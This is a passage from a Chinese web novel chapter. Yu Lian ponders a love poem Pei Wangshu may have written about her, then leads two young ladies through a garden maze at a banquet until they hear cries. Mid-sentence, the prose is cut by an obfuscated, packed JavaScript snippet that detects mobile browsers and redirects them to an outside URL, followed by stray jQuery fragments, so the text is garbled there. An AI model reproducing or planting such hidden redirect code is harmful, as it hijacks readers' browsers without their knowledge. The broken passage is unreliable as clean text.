余怜脸上瞬间茫然，罕见的出现一丝不知所措。


    因为无论怎么听，这诗，赫然是一首情诗。


    那首诗是什么意思？那首诗里说的是谁？裴望舒为什么要作那首诗？


    眨眼间余怜就问出一堆问题，但没人能回答她，也没人能帮她。


    芙晴道：“赖涣，你怕不是记错了吧，裴大人怎么看都不像是能写出这么一首诗的人啊。”


    余怜一怔，像是见到了转机。


    对啊，或许是赖涣记错了也不一定，过了这么久，他肯定早忘了。


    赖涣摇头，坚定道：“我肯定没记错，这首诗就是裴大人作的，当时诗会上的人都听到了。”


    转机又没了。


    “可是……这好像是一首情……”田心儿的声音慢慢淡下去，又因为太过好奇，接着问，“这首诗里写的人会是谁啊？”


    余怜低眉垂目，扣了扣手心，不作任何表态。


    “这我就不清楚了。”赖涣耸肩，两手一摊表示无能为力。


    芙晴搓着下巴，思索无果，道：“算了，反正也不知道是谁，也不敢去问，就装作不知道吧。”


    难得没因为八卦而丧失理智，赖涣颇为欣慰地看了一眼她，生怕她口出狂言，要去找裴望舒问问。


    “裴大人当时是当着所有人的面，承认那是首情诗的吗？”


    余怜许久未开口，这会儿声音响起来，让赖涣三人惊了一下。


    “嚯，余大夫你不说话我都以为你不在了呢。”赖涣怕拍自己心口，努力回忆，“裴大人当时也算是承认吧，只不过我们问他时，他就是笑着不说话。”


    笑的眼波流转，笑的如沐春风。


    任谁看了都觉得一定是认定的那样。


    “但我们问他诗里写的谁，他就张嘴了。”赖涣突然想起这回事。


    余怜微微睁大双眼，芙晴和田心儿也凑上前让他赶紧说。


    赖涣左看右看，无奈道：“他说，诗里的人就是诗里的人，纯粹是他编出来的。”


    芙晴：“……”


    田心儿：“……”


    只有余怜像是松了口气。


    “赖涣——”芙晴阴森森的笑，“你是不是觉得耍我们很好玩儿啊？”


    赖涣就知道她要生气，赶紧解释：“我这回真没骗你们，这真是裴大人的原话，我可以发誓。”


    芙晴狐疑的看他一眼，又看他一眼，还是没从他脸上瞧出扯谎的痕迹。


    “行吧，这回就姑且相信你。”


    话头就这么断下去，余怜却有些糊涂，脑子像醉酒了那般转不过弯儿。


    她有一种直觉，无比坚定的直觉，裴望舒那首诗里出现的人就是自己，甚至整首诗说的也是她。


    因为无论是诗里的庙堂，还是眉间一点朱红，所有的一切都和她，和他们经历过的一样。


    可为什么裴望舒要写这首诗，而且为什么诗要写成……写成这样，这分明和先前裴望舒随口告诉她的那些诗，一点儿都不一样。


    诗里的字每一个她都认得，可连在一起，那意思她怎么就有些看不懂了。


    余怜觉得自己好像窥见了什么奇怪的东西，那些东西说不清道不明，是横亘在自己和裴望舒之间的一扇屏障，脆弱又脆弱，像是急不可耐的指望有人戳破。


    可惜他们两个人没有一个愿意跨出那一步。


    不对，是跨了的，甚至裴望舒已经跨越好多次，已经待在对面好久了。


    只不过……


    只不过余怜不懂，也无法感觉到这种东西，即使是现在。


    即使在她知道这种东西的存在后，除了最开始慌乱，茫然一瞬，现在已经能像往常一样淡漠的对待了。


    是铁石心肠吗？


    当然不是，心都没有了，哪还能铁石呢？


    余怜摸上心口，想叹气又觉得没有理由这样做，只能呆呆地看着地面。


    ——


    宴会无聊透顶，一吃完饭，席间的人便四散开来，在整个院子里逛，同时，参加宴会的真正目的也浮现出来。


    芙晴带着田心儿和余怜躲在角落点评，赖涣早都不知道跑哪儿去了。


    “你看那个男的，长成这样还去搭讪，要我我才不敢出门。”


    芙晴嘴毒，田心儿生怕被别人听见，赶紧劝告：“芙晴，你不要这么说了，一会被人听到就完了。”


    她偷偷摸摸的左右看，谨慎的不得了。


    芙晴搂着她，说：“没事的，我声音小离得又远，他们不会听见的，你就把心放肚子里吧。”


    她使坏地拍拍田心儿的肚子，田心儿脸一热，心道芙晴也太放肆了。


    “对了，”芙晴突然想起什么，“心儿，你有见到陆小姐，万小姐，魏王和恒王吗？”


    田心儿回忆起来，片刻后摇头道了声“没有”。


    “真是奇了怪了，刚一撤宴四个人就都不见了。”芙晴敏锐的觉得有些不对劲，她拉过心儿往前走，“心儿，我们去找找他们吧。”


    “找他们做甚？”


    心儿使了力气拽住芙晴，她有些害怕那四人，没有一个惹得起就算了，还有两位皇子，稍有不慎就真的会掉脑袋，她才不愿意去找。


    芙晴哄她：“心儿，你就不好奇我哥先前说的那场戏吗？”


    田心儿眼睛一亮：“我当然好奇了，芙晴你是知道了什么吗？可不可以告诉我。”


    芙晴故作深沉：“心儿，我只是有个猜测，现在得去验证一下才能晓得对不对，你愿意和我一起去吗？”


    “这……”田心儿纠结。


    她不太想到处跑，也真的不想去找那四人，可现在好像没有让她选择的余地。


    芙晴耍赖道：“心儿，好心儿，你就陪我去吧。你看每次都是我上门才能找你一起玩儿，你好不容易出来一次，不能好好陪陪我吗？”


    这话说的田心儿不是滋味儿，也发觉自己因为身体的原因，确实麻烦芙晴许多。


    若是芙晴不上门找她，只怕她根本不清楚上京城的大小事，在这种宴会里也只能孤零零的坐在一边，更别说交心的朋友了。


    她还是亏欠芙晴太多了。


    芙晴不知道她心中所想，接着张口：“而且又不是只有我们两个，不还有余大夫一起嘛，你就和我去吧。”


    她冲余怜亲昵的眨眨眼，余怜点头回应她。


    田心儿也想通了，挽上她的手：“好吧芙晴，我决定和你一去。”


    芙晴脸上的笑容放大，转身就带着两人离开。


    院子远比看上去的还要大，这是余怜跟在她们两人身后走走停停发现的。


    其间假山这儿立一大块，那儿也立上一大块，等你从这两个中间穿过时，前面没准儿还是被堵上的。修的齐齐整整的万年青，这会儿也成了挡路的，再加上些高的树，矮的花，不是挂衣服就是挂头发。


    余怜再次拨开一段树枝，等田心儿和芙晴穿过去。


    又是一条死路。


    余怜看着前面被一棵大树挡住的地方轻轻皱眉。


    芙晴气冲冲地：“这什么破地方啊，怎么路都找不到，还让不让人走啊？”


    她耐心本来就不好，能在这院子里绕这么久已经是很不容易的事了，结果到现在人没找到就算了，一条能出去的路都找不到了。


    这算什么？


    难道她就这么无用吗？


    田心儿安抚她：“芙晴你别生气了，我们再走走肯定就能找到路出去，你别着急。”


    “你别——”芙晴皱着眉头，想让田心儿闭上嘴，但话在出口时看到田心儿揉着酸痛的腿又咽下去。


    她找了个稍微能坐的石头，把自己的手帕铺上去，又拉过人坐下。


    “芙晴我不累，不用坐。”田心儿挣扎着要起来。


    芙晴使了些力气按住她：“让你坐你就坐，等会儿肯定还要再走好久，你才刚把身子养好了些，可别再累着了。”


    田心儿嘴唇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382138|198203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蠕动两下，甜甜一笑：“那就谢谢芙晴了。”


    芙晴高傲的抬起头，在这周围又看起来，想着寻到一条出路。


    余怜也在这里走动，左看看右看看。


    其实她在绕的这几圈里已经差不多摸清里面的路了，只不过还有些未涉足的地方想探探，但现在看这两位小姐的样子，好像应该出去最要紧。


    她道：“我或许知晓出去的路。”


    田心儿放下揉腿的手，芙晴也转过头，两人异口同声道：“真的吗？”


    余怜点点头：“应该差不多，就是不知道你们愿意信我吗。”


    “这还有什么信不信的，我们都要被困住了，当然要信你了！”芙晴两步走过来。


    田心儿亦是点头：“余大夫你都把我治好了，我当然信你了。”


    余怜看着她们的样子，确定是相信自己，道：“既然如此，那再休息一下我就带你们出去。”


    一盏茶后，三人重新出发。


    芙晴跟在后面嘴也不消停：“余大夫，为何你能知晓怎么走啊，你应该没来过吧？”


    余怜轻轻拨开叶子，道：“没来过，但我记性还算不错，刚绕了几圈勉强能走两步。”


    “真是厉害，我也想要这么好的记性。”田心儿羡慕道。


    余怜冲她微微一笑，专心带路。


    不晓得经过了几条先前走过的路，身边的景物逐渐熟悉起来，就连人说话的声音好像都能听到了。


    田心儿眼睛一亮就开叫出来：“我们找——”


    电光火石之间，芙晴一把把她的嘴捂住，又拉过余怜，低声问：“你们刚有没有听到奇怪的声音？”


    田心儿茫然地摇摇头，芙晴又看向余怜，余怜点头道：“我确实也听见了，声音不大，但应该就在这不远处。”


    田心儿缩了缩肩：“什么声音啊，我怎么没听到，会不会是你们两个听错了，我们先出去吧，别管这些。”


    她磕磕绊绊的说出话，芙晴知晓她胆子小，不然也不会在卧佛寺被吓晕过去。


    只不过这下，好奇心战胜了最开始找路的焦急。


    芙晴道：“心儿别怕，我们就去看一眼，肯定不会出什么事的。”


    田心儿惊恐地摇头：“芙晴，我们别去。你看，马上就能出去了，我们就先出去好不好？”


    几乎是哀求的语气，芙晴顿时心一软，但想到那阵声音又生生忍住。


    “心儿，我和余大夫两个人一起陪着你，这样就不怕了，我们就去看看吧。”


    “不要，芙晴，我们不去。”田心儿坚持自己的意见。


    芙晴犯了难，又不想让田心儿太早回去，又好奇那声音是怎么回事，只能皱着眉站在原地。


    余怜眼神流转在她们两人身上，提出方法：“芙晴小姐，不如我在这儿陪着田小姐，你自己去找？”


    “若是找不到路了也不用急，我会去接你的，你看怎么样？”


    “诶！”芙晴两手一拍，“我怎么忘记这一茬了，既然这样的话，那你们就在这儿等我一下，我去去就回。”


    她话刚说完就一溜烟跑出去，让余怜和田心儿只能看到一个橙色的背影，速度快的像是生怕那声音长腿跑了。


    田心儿抿着唇，忧心的看着芙晴离开的地方。


    “啊！”


    “啊！”


    “啊！”


    三道声音同时响起，余怜和田心儿对视一眼，立马从里面听出芙晴的声音。


    田心儿捂住嘴，浑身打着颤，脸也瞬间白起来：“芙晴……芙晴该不会……该不会出事了吧？”


    余怜扶着她，语速飞快：“田小姐先别怕，当务之急是先去看看发生了什么。”


    她指着旁边一条路，安排下去：“田小姐从这儿出去叫人，我进去找芙晴小姐，记住中间千万别转弯，一条路走到头。”


    田心儿已经来不及反应就被委以重任，只能提着裙子踉踉跄跄往外跑，余怜也转身去找芙晴。